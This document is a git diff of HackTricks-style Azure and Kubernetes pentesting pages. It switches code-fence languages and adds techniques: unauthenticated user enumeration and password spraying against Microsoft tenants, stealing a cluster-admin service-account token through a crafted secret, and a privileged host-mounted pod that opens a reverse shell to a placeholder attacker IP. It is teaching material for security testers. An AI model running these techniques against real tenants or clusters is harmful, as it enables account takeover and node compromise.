az cosmosdb mongodb collection list --account-name <AccountName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
# List all role definitions for MongoDB within an Azure Cosmos DB account
az cosmosdb mongodb role definition list --account-name <AccountName> --resource-group <ResourceGroupName>
# List all user definitions for MongoDB within an Azure Cosmos DB account
az cosmosdb mongodb user definition list --account-name <AccountName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.CosmosDB
# List all Cosmos DB accounts in a specified resource group.

View File

@@ -59,7 +59,7 @@ az storage file download-batch -d . --account-name <name> --source <share-name>
{{#tab name="Az PowerShell"}}
```powershell
```bash
Get-AzStorageAccount
# List File Shares
@@ -99,7 +99,7 @@ You need to replace the `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` and `<FILE-SHARE-NAM
{{#tabs}}
{{#tab name="Windows"}}
```powershell
```bash
$connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445
if ($connectTestResult.TcpTestSucceeded) {
# Save the password so the drive will persist on reboot

View File

@@ -97,7 +97,7 @@ az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<Key
{{#tab name="Az Powershell" }}
```powershell
```bash
# Get keyvault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

View File

@@ -115,7 +115,8 @@ az logicapp config appsettings list --name <LogicAppName> --resource-group <Reso
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.LogicApp
# List

View File

@@ -73,7 +73,7 @@ az mysql flexible-server server-logs list --resource-group <resource-group-name>
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.MySql
# Get all flexible servers in a resource group

View File

@@ -82,7 +82,7 @@ az postgres flexible-server server-logs list --resource-group <resource-group-na
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.PostgreSql
# List flexible-servers in a resource group

View File

@@ -169,7 +169,7 @@ az sql vm show --resource-group <res-grp> --name <name>
{{#tab name="Az PowerShell"}}
```powershell
```bash
# List Servers
Get-AzSqlServer -ResourceGroupName "<resource-group-name>"
@@ -214,7 +214,7 @@ Get-AzSqlVM
You could find a connection string (containing credentials) from example [enumerating an Az WebApp](az-app-services.md):
```powershell
```bash
function invoke-sql{
param($query)
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
@@ -235,7 +235,7 @@ invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
You can also use sqlcmd to access the database. It is important to know if the server allows public connections `az sql server show --name <server-name> --resource-group <resource-group>`, and also if it the firewall rule let's our IP to access:
```powershell
```bash
sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
```

View File

@@ -343,7 +343,7 @@ az storage account local-user list \
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get storage accounts
Get-AzStorageAccount | fl
# Get rules to access the storage account

View File

@@ -66,7 +66,7 @@ az storage entity merge \
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# Get storage accounts
Get-AzStorageAccount

View File

@@ -11,7 +11,7 @@ Microsoft Intune is designed to streamline the process of **app and device manag
A user with **Global Administrator** or **Intune Administrator** role can execute **PowerShell** scripts on any **enrolled Windows** device.\
The **script** runs with **privileges** of **SYSTEM** on the device only once if it doesn't change, and from Intune it's **not possible to see the output** of the script.
```powershell
```bash
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
```

View File

@@ -67,7 +67,7 @@ az disk show --name <disk-name> --resource-group <rsc-group>
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# List all disks
Get-AzDisk
@@ -123,7 +123,7 @@ az restore-point collection show --collection-name <collection-name> --resource-
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
## List all galleries and get info about one
Get-AzGallery
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>
@@ -191,7 +191,7 @@ az network bastion rdp \
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# List bastions
Get-AzBastion
```
@@ -349,7 +349,7 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[]
az vm run-command list --output table
```
```powershell
```bash
# Get readable VMs
Get-AzVM | fl
# Lis running VMs
@@ -467,7 +467,7 @@ az vm extension image list --publisher "Site24x7" --output table
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# It takes some mins to run
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
```
@@ -550,7 +550,7 @@ You could also execute other payloads like: `powershell net users new_user Welco
- Reset password using the VMAccess extension
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -569,7 +569,7 @@ The required permission is still **`Microsoft.Compute/virtualMachines/extensions
This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs.
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -583,7 +583,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
This is a **VM extension** that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension:
```powershell
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
@@ -837,7 +837,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
## Unauthenticated Access
{{#ref}}
../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md
{{#endref}}
## Post Exploitation

View File

@@ -38,7 +38,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List VNets
Get-AzVirtualNetwork | Select-Object Name, Location, @{Name="AddressSpace"; Expression={$_.AddressSpace.AddressPrefixes}}
@@ -82,7 +82,7 @@ az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --q
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List NSGs
Get-AzNetworkSecurityGroup | Select-Object Name, Location
Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName>
@@ -135,7 +135,7 @@ az network firewall nat-rule collection list --firewall-name <FirewallName> --re
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Azure Firewalls
Get-AzFirewall
@@ -174,7 +174,7 @@ az network route-table route list --route-table-name <RouteTableName> --resource
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Route Tables
Get-AzRouteTable
@@ -214,7 +214,7 @@ az network private-endpoint list --query "[].{name:name, location:location, reso
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Private Link Services
Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
@@ -249,7 +249,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Virtual Networks with Service Endpoints
Get-AzVirtualNetwork
@@ -310,7 +310,7 @@ az network front-door waf-policy list --query "[].{name:name, resourceGroup:reso
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Azure Front Door Instances
Get-AzFrontDoor
@@ -343,7 +343,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List the Web Application Firewall configurations for your Application Gateways
(Get-AzApplicationGateway -Name <AppGatewayName> -ResourceGroupName <ResourceGroupName>).WebApplicationFirewallConfiguration
```
@@ -383,7 +383,7 @@ az network firewall list --query "[].{name:name, location:location, resourceGrou
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List all VNets in your subscription
Get-AzVirtualNetwork
@@ -421,7 +421,7 @@ az network vpn-connection list --gateway-name <VpnGatewayName> --resource-group
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List VPN Gateways
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
@@ -453,7 +453,7 @@ az network express-route list --query "[].{name:name, location:location, resourc
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List ExpressRoute Circuits
Get-AzExpressRouteCircuit
```

View File

@@ -7,24 +7,23 @@
### Tenant Enumeration
There are some **public Azure APIs** that just knowing the **domain of the tenant** an attacker could query to gather more info about it.\
You can query directly the API or use the PowerShell library [**AADInternals**](https://github.com/Gerenios/AADInternals)**:**
You can query directly the API or use the PowerShell library [**AADInternals**](https://github.com/Gerenios/AADInternals) (`Install-Module AADInternals`):
| API | Information | AADInternals function |
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **Login information**, including tenant ID | `Get-AADIntTenantID -Domain <domain>` |
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **All domains** of the tenant | `Get-AADIntTenantDomains -Domain <domain>` |
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>Login information</strong> of the tenant, including tenant Name and domain <strong>authentication type.</strong><br>If <code>NameSpaceType</code> is <strong><code>Managed</code></strong>, it means <strong>AzureAD</strong> is used.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
| login.microsoftonline.com/common/GetCredentialType | Login information, including **Desktop SSO information** | `Get-AADIntLoginInformation -UserName <UserName>` |
- **Login information including tenant ID**
- `Get-AADIntTenantID -Domain <domain>` (main API `login.microsoftonline.com/<domain>/.well-known/openid-configuration`)
- **All valid doimains in the tenant**
- `Get-AADIntTenantDomains -Domain <domain>` (main API `autodiscover-s.outlook.com/autodiscover/autodiscover.svc`)
- **Login information of the user**. If `NameSpaceType` is `Managed`, it means EntraID is used
- `Get-AADIntLoginInformation -UserName <UserName>` (main API `login.microsoftonline.com/GetUserRealm.srf?login=<UserName>`)
You can query all the information of an Azure tenant with **just one command of the** [**AADInternals**](https://github.com/Gerenios/AADInternals) **library**:
You can query all the information of an Azure tenant with **just one command from** [**AADInternals**](https://github.com/Gerenios/AADInternals):
```powershell
```bash
# Doesn't work in macos because 'Resolve-DnsName' doesn't exist
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
```
Output Example of the Azure tenant info:
## Output Example of the Azure tenant info:
```
Tenant brand: Company Ltd
Tenant name: company
Tenant id: 1937e3ab-38de-a735-a830-3075ea7e5b39
@@ -44,6 +43,9 @@ Moreover, the output presents the names of all verified domains associated with
### User Enumeration
> [!TIP]
> Note that even if a tenant is using several emails for the same user, the **username is unique**. This means that it'll noly work with the domain the user has associated and not with the other domains.
It's possible to **check if a username exists** inside a tenant. This includes also **guest users**, whose username is in the format:
```
@@ -54,7 +56,7 @@ The email is users email address where at “@” is replaced with underscore
With [**AADInternals**](https://github.com/Gerenios/AADInternals), you can easily check if the user exists or not:
```powershell
```bash
# Check does the user exist
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
```
@@ -78,31 +80,39 @@ external.user_gmail.com#EXT#@company.onmicrosoft.com
external.user_outlook.com#EXT#@company.onmicrosoft.com
```
```powershell
```bash
# Invoke user enumeration
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
```
There are **three different enumeration methods** to choose from:
Currenlty there are **4 different enumeration methods** to choose from. You can find information in `Get-Help Invoke-AADIntUserEnumerationAsOutsider`:
It supports following enumeration methods: Normal, Login, Autologon, and RST2.
- The **Normal** method seems currently work with all tenants. Previously it required Desktop SSO (aka Seamless SSO) to be enabled for at least one domain.
- The **Login** method works with any tenant, but enumeration queries will be logged to Azure AD sign-in log as failed login events!
- The **Autologon** method doesn't seem to work with all tenants anymore. Probably requires that DesktopSSO or directory sync is enabled.
| Method | Description |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Normal | This refers to the GetCredentialType API mentioned above. The default method. |
| Login | <p>This method tries to log in as the user.<br><strong>Note:</strong> queries will be logged to sign-ins log.</p> |
| Autologon | <p>This method tries to log in as the user via autologon endpoint.<br><strong>Queries are not logged</strong> to sign-ins log! As such, works well also for password spray and brute-force attacks.</p> |
After discovering the valid usernames you can get **info about a user** with:
```powershell
```bash
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
```
The script [**o365creeper**](https://github.com/LMGsec/o365creeper) also allows you to discover **if an email is valid**.
The script [**o365spray**](https://github.com/0xZDH/o365spray) also allows you to discover **if an email is valid**.
```powershell
# Put in emails.txt emails such as:
# - root@corp.onmicrosoft.com
python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
```bash
git clone https://github.com/0xZDH/o365spray
cd o365spray
python3 -m pip install -r requirements.txt
# Check 1 email
python3 ./o365spray.py --enum -d carloshacktricks.onmicrosoft.com -u carlos
# Check a list of emails
python3 ./o365spray.py --enum -d carloshacktricks.onmicrosoft.com -U /tmp/users.txt
```
**User Enumeration via Microsoft Teams**
@@ -113,10 +123,16 @@ The API of Microsoft Teams allows to search for users. In particular the "user s
Depending on the API response it is possible to distinguish between non-existing users and existing users that have a valid Teams subscription.
The script [**TeamsEnum**](https://github.com/sse-secure-systems/TeamsEnum) could be used to validate a given set of usernames against the Teams API.
The script [**TeamsEnum**](https://github.com/sse-secure-systems/TeamsEnum) could be used to validate a given set of usernames against the Teams API but you need access to a user with Teams access to use it.
```bash
python3 TeamsEnum.py -a password -u <username> -f inputlist.txt -o teamsenum-output.json
# Install
git clone https://github.com/sse-secure-systems/TeamsEnum
cd TeamsEnum
python3 -m pip install -r requirements.txt
# Login and ask for password
python3 ./TeamsEnum.py -a password -u <username> -f inputlist.txt -o teamsenum-output.json
```
Output:
@@ -192,58 +208,65 @@ Output:
}
```
## Azure Services
Know that we know the **domains the Azure tenant** is using is time to try to find **Azure services exposed**.
You can use a method from [**MicroBust**](https://github.com/NetSPI/MicroBurst) for such goal. This function will search the base domain name (and a few permutations) in several **azure service domains:**
```powershell
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
```
## Open Storage
You could discover open storage with a tool such as [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) which will use the file **`Microburst/Misc/permitations.txt`** to generate permutations (very simple) to try to **find open storage accounts**.
```powershell
Import-Module .\MicroBurst\MicroBurst.psm1
Invoke-EnumerateAzureBlobs -Base corp
[...]
https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
[...]
# Access https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
# Check: <Name>ssh_info.json</Name>
# Access then https://corpcommon.blob.core.windows.net/secrets/ssh_info.json
```
### SAS URLs
A _**shared access signature**_ (SAS) URL is an URL that **provides access** to certain part of a Storage account (could be a full container, a file...) with some specific permissions (read, write...) over the resources. If you find one leaked you could be able to access sensitive information, they look like this (this is to access a container, if it was just granting access to a file the path of the URL will also contain that file):
`https://<storage_account_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
Use [**Storage Explorer**](https://azure.microsoft.com/en-us/features/storage-explorer/) to access the data
## Compromise Credentials
### Phishing
- [**Common Phishing**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (credentials or OAuth App -[Illicit Consent Grant Attack](az-oauth-apps-phishing.md)-)
- [**Device Code Authentication** Phishing](az-device-code-authentication-phishing.md)
### Password Spraying / Brute-Force
{{#ref}}
az-password-spraying.md
{{#endref}}
## Azure Services using domains
It's also possible to try to find **Azure services exposed** in common azure subdomains like the ones documented in this [post:
](https://www.netspi.com/blog/technical-blog/cloud-penetration-testing/enumerating-azure-services/)
- App Services: `azurewebsites.net`
- App Services Management: `scm.azurewebsites.net`
- App Services: `p.azurewebsites.net`
- App Services: `cloudapp.net`
- Storage Accounts-Files: `file.core.windows.net`
- Storage Accounts-Blobs: `blob.core.windows.net`
- Storage Accounts-Queues: `queue.core.windows.net`
- Storage Accounts-Tables: `table.core.windows.net`
- Databases-Redis: `redis.cache.windows.net`
- Databases-Cosmos DB: `documents.azure.com`
- Databases-MSSQL: `database.windows.net`
- Key Vaults: `vault.azure.net`
- Microsoft Hosted Domain: `onmicrosoft.com`
- Email: `mail.protection.outlook.com`
- SharePoint: `sharepoint.com`
- CDN: `azureedge.net`
- Search Appliance: `search.windows.net`
- API Services: `azure-api.net`
You can use a method from [**MicroBust**](https://github.com/NetSPI/MicroBurst) for such goal. This function will search the base domain name (and a few permutations) in several **azure domains:**
```bash
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
```
## Phishing
- [**Common Phishing**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) for credentials or via [OAuth Apps](az-oauth-apps-phishing.md)
- [**Device Code Authentication** Phishing](az-device-code-authentication-phishing.md)
## Filesystem Credentials
The **`az cli`** stores a lot of interesting information inside **`<HOME>/.Azure`**:
- **`azureProfile.json`** contains info about logged in users from the past
- **`clouds.config`** contains info about subscriptions
- **`service_principal_entries.json`** contains applications **credentials** (tenant id, clients and secret)
- **`msal_token_cache.json`** contains **access tokens and refresh tokens**
Note that in macOS and linux these files are **unprotected** stored in clear text.
## References
- [https://aadinternals.com/post/just-looking/](https://aadinternals.com/post/just-looking/)
- [https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/](https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/)
- [https://www.netspi.com/blog/technical-blog/cloud-penetration-testing/enumerating-azure-services/](https://www.netspi.com/blog/technical-blog/cloud-penetration-testing/enumerating-azure-services/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -10,20 +10,21 @@ However, note that this technique is **very noisy** and Blue Team can **easily c
You can perform a password spray attack with [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
```powershell
```bash
git clone https://github.com/dafthack/MSOLSpray
. .\MSOLSpray\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
Invoke-MSOLSpray -UserList .\validemails.txt -Password 'Winter2025! -Verbose
```
Or with [**o365spray**](https://github.com/0xZDH/o365spray)
```bash
python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
python3 o365spray.py --spray -U validemails.txt -p ''Winter2025!' --domain victim.com
```
Or with [**MailSniper**](https://github.com/dafthack/MailSniper)
```powershell
```bash
#OWA
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
#EWS

View File

@@ -0,0 +1,48 @@
# Az - Storage Unauth
{{#include ../../../banners/hacktricks-training.md}}
## Storage Unauth
For more information about storage check:
{{#ref}}
../az-services/az-storage.md
{{#endref}}
### Open Storage
You could discover open storage with a tool such as [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) which will use the file **`Microburst/Misc/permutations.txt`** to generate permutations (very simple) to try to **find open storage accounts**.
```bash
Import-Module .\MicroBurst\MicroBurst.psm1
Invoke-EnumerateAzureBlobs -Base corp
[...]
https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
[...]
# Access https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
# Check: <Name>ssh_info.json</Name>
# Access then https://corpcommon.blob.core.windows.net/secrets/ssh_info.json
```
You can also use a method from [**MicroBust**](https://github.com/NetSPI/MicroBurst) for such goal. This function will search the base domain name (and a few permutations) in several **azure domains** (including storage domains):
```bash
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
```
### SAS URLs
A _**shared access signature**_ (SAS) URL is an URL that **provides access** to certain part of a Storage account (could be a full container, a file...) with some specific permissions (read, write...) over the resources. If you find one leaked you could be able to access sensitive information, they look like this (this is to access a container, if it was just granting access to a file the path of the URL will also contain that file):
`https://<storage_account_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
Use [**Storage Explorer**](https://azure.microsoft.com/en-us/features/storage-explorer/) to access the data
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# Az - VMs Unath
# Az - VMs Unauth
{{#include ../../../banners/hacktricks-training.md}}
@@ -41,4 +41,3 @@ az vm extension image list --publisher "Site24x7" --output table
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -350,6 +350,75 @@ The permission to **list secrets could allow an attacker to actually read the se
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Creating and Reading Secrets
There is a special kind of a Kubernetes secret of type **kubernetes.io/service-account-token** which stores serviceaccount tokens.
If you have permissions to create and read secrets, and you also know the serviceaccount's name, you can create a secret as follows and then steal the victim serviceaccount's token from it:
```yaml
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
```
Example exploitation:
```bash
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get create]
[/.well-known/openid-configuration/] [] [get]
<SNIP>
[/version] [] [get]
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}
```
Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.
### Reading a secret brute-forcing token IDs
While an attacker in possession of a token with read permissions requires the exact name of the secret to use it, unlike the broader _**listing secrets**_ privilege, there are still vulnerabilities. Default service accounts in the system can be enumerated, each associated with a secret. These secrets have a name structure: a static prefix followed by a random five-character alphanumeric token (excluding certain characters) according to the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).

View File

@@ -535,6 +535,10 @@ k top pod --all-namespaces
{{#endtab }}
{{#endtabs }}
## Interacting with the cluster without using kubectl
Seeing that Kubernetes control plane exposes a REST-ful API, you can hand-craft HTTP requests and send them with other tools, such as **curl** or **wget**.
### Escaping from the pod
If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes.
@@ -603,6 +607,241 @@ chroot /root /bin/bash
Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
### Creating a privileged pod
The corresponding yaml file is as follows:
```yaml
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /
```
Create the pod with curl:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Delete a pod
Delete a pod with curl:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
```
### Create a Service Account
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Delete a Service Account
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'DELETE' \
